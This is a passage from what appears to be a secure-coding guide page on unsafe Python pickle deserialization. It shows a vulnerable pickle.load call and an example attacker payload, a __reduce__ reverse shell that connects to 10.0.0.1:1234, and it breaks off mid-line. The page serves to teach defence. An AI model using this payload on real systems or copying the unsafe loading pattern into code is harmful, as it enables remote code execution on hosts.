itrary code to execute on the host.</p>
<h2>Example</h2>
<pre><code class="python">import pickle

with open(f) as input:
    python_objects = pickle.load(input)
</code></pre>
<p>An example attacker payload could be:</p>
<pre><code class="python">import pickle

class ReverseShell:
    def __reduce__(self):
        import socket,subprocess,os
        s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
        s.connect((&quot;10.0.0.1&quot;,1234));os.dup2(s.fileno(),0)
        os.dup2(s.fileno(),1)
        os.